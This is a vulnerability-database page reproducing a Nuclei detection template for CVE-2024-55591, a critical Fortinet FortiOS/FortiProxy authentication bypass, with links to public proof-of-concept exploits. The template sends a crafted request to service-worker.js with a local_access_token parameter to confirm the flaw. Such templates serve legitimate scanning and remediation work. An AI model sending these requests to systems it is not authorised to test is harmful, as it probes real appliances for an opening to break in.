Fortinet - Authentication Bypass

🗓️ 25 Jun 2026 01:31:50Reported by ProjectDiscoveryType

nuclei🔗 github.com👁 102 Views

Fortinet FortiOS has a critical authentication bypass vulnerability allowing unauthorized access.

Reporter	Title	Published	Views	Family All 44
GithubExploit	Exploit for Authentication Bypass Using an Alternate Path or Channel in Fortinet Fortiproxy	16 Jan 202507:26	–	githubexploit
GithubExploit	Exploit for Authentication Bypass Using an Alternate Path or Channel in Fortinet Fortiproxy	29 Jan 202514:54	–	githubexploit
GithubExploit	Exploit for Authentication Bypass Using an Alternate Path or Channel in Fortinet Fortiproxy	21 Jan 202512:30	–	githubexploit
GithubExploit	Exploit for Authentication Bypass Using an Alternate Path or Channel in Fortinet Fortiproxy	27 Jan 202506:25	–	githubexploit
GithubExploit	FortiGate-FortiWeb-Multi-Exploit-Extractor	14 May 202614:07	–	githubexploit
GithubExploit	Exploit for Authentication Bypass Using an Alternate Path or Channel in Fortinet Fortiproxy	24 Jan 202520:29	–	githubexploit
GithubExploit	Exploit for Authentication Bypass Using an Alternate Path or Channel in Fortinet Fortiproxy	29 Jan 202519:39	–	githubexploit
GithubExploit	Exploit for Authentication Bypass Using an Alternate Path or Channel in Fortinet Fortiproxy	26 May 202511:57	–	githubexploit
GithubExploit	Exploit for Authentication Bypass Using an Alternate Path or Channel in Fortinet Fortiproxy	11 Apr 202513:52	–	githubexploit
ATTACKERKB	CVE-2024-55591	14 Jan 202500:00	–	attackerkb

Source	Link
github	www.github.com/watchtowrlabs/fortios-auth-bypass-poc-CVE-2024-55591/blob/main/CVE-2024-55591-PoC.py
nvd	www.nvd.nist.gov/vuln/detail/cve-2024-55591

id: CVE-2024-55591

info:
  name: Fortinet - Authentication Bypass
  author: rootxharsh,iamnoooob,pdresearch
  severity: critical
  description: |
    Fortinet FortiOS is vulnerable to an information disclosure via service-worker.js that could allow an attacker to access sensitive information.This vulnerability affects FortiOS and could potentially lead to unauthorized access to the system.
  impact: |
    Unauthenticated attackers can bypass authentication mechanisms to access sensitive system information and gain unauthorized access to FortiOS and FortiProxy systems.
  remediation: |
    Update Fortinet FortiOS and FortiProxy to versions that patch CVE-2024-55591 as specified in Fortinet's security advisory.
  reference:
    - https://github.com/watchtowrlabs/fortios-auth-bypass-poc-CVE-2024-55591/blob/main/CVE-2024-55591-PoC.py
    - https://nvd.nist.gov/vuln/detail/cve-2024-55591
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-55591
    cwe-id: CWE-288,NVD-CWE-Other
    epss-score: 0.98259
    epss-percentile: 0.99908
    cpe: cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: fortinet
    product: fortiproxy
  tags: cve,cve2024,fortinet,disclosure,fortios,kev,intrusive,vkev,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/login?redir=/ng"

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: word
        words:
          - '<html class="main-app">'
        internal: true

  - raw:
      - |
        GET /service-worker.js?local_access_token={{randstr}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "api/v2/static"
          - "self.addEventListener"
        condition: and

      - type: word
        part: content_type
        words:
          - "application/javascript"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022076735391b0980f740a3242a62d76be52cf4a5c463e084c24157b26f5283d45df022100f945e743c3ec6ce195a0d6da28e8ee47fbf83839f32b76ee6a1c5a1eff1639b4:922c64590222798bb761d5b6d8e72950

04 Feb 2026 07:00Current

7.5High risk

Vulners AI Score7.5

CVSS 3.19.8

EPSS0.98259

SSVC